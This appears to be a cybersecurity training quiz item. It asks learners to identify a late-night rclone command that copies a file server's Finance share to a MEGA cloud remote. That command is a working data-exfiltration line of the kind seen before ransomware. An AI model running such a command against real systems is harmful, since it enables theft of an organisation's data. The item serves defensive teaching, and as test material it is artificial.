medium10 pts · first answer countsincident-responseexfiltrationransomware
A sync tool on a file server
EDR shows this on a file server late at night. What is the most likely activity?
rclone.exe copy \\fs01\Finance mega:backup --transfers 16 --ignore-existing
Discussion 0
Join free to post in the discussion.
Related questions
- Backups that survive ransomwareCybersecurity Analyst
- Why chain of custody mattersCybersecurity Analyst
- vssadmin delete shadowsCybersecurity Analyst
- Security event or security incidentCybersecurity Analyst
- What makes malware a trojanCybersecurity Analyst
- Double extortion ransomwareCybersecurity Analyst
- What a rootkit is forCybersecurity Analyst
- What an infostealer takesCybersecurity Analyst